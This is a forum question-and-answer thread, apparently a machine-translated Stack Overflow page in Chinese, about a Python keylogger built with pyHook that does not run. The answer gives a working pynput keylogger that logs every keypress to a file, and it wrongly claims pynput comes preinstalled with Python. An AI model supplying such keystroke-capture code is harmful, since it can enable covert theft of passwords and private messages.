2017-03-27 73 views
-2

我正在嘗試製作鍵盤記錄程序。不是爲了不好的東西,我只是想讓它在我自己的電腦上試試,但它不起作用我安裝了pywin32和pyhook模塊,但它仍然無法工作。我看着這個教程:https://youtu.be/8BiOPBsXh0gPython鍵盤記錄器不能正常工作

我使用Python 2.7.13

這裏是我的Python代碼:

import pyHook, pythoncom, sys, logging 

file_log = 'C:/Users/jelle/Desktop/Keylogger/Keylog.txt' 

def onKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
    chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 

hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = onKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 
+0

定義*「不起作用」*,請。 – SiHa

+0

當我打開它沒有任何事情發生時,我不知道爲什麼我只是一個人從一個試圖瞭解它的代碼複製。 SiHa –

+0

您的代碼對我來說工作得非常好。 Win7(x64)Python 2.7,10(x32),但如果記錄器的路徑不存在將會失敗。你是否從命令提示符運行? – SiHa

回答

0

問題是與你的Python版本。卸載python並安裝最新版本的python。這可能會解決你的問題......

即使下載最新版本如果程序仍然不工作,你可以試試這個後:

from pynput.keyboard import Key, Listener 
import logging 

log_dir = "" 

logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s') 

def on_press(key): 
    logging.info(str(key)) 

with Listener(on_press=on_press) as listener: 
    listener.join() 

上述程序中,不需要下載pyHook和其他模塊你在之前的代碼中使用過。但是你需要'pynput'。您可以從here下載並安裝它。

如果你仍然有麻煩,那麼看看這個video

我建議使用這個新的代碼,因爲它更容易理解,它只使用兩個模塊(已經預裝了python)。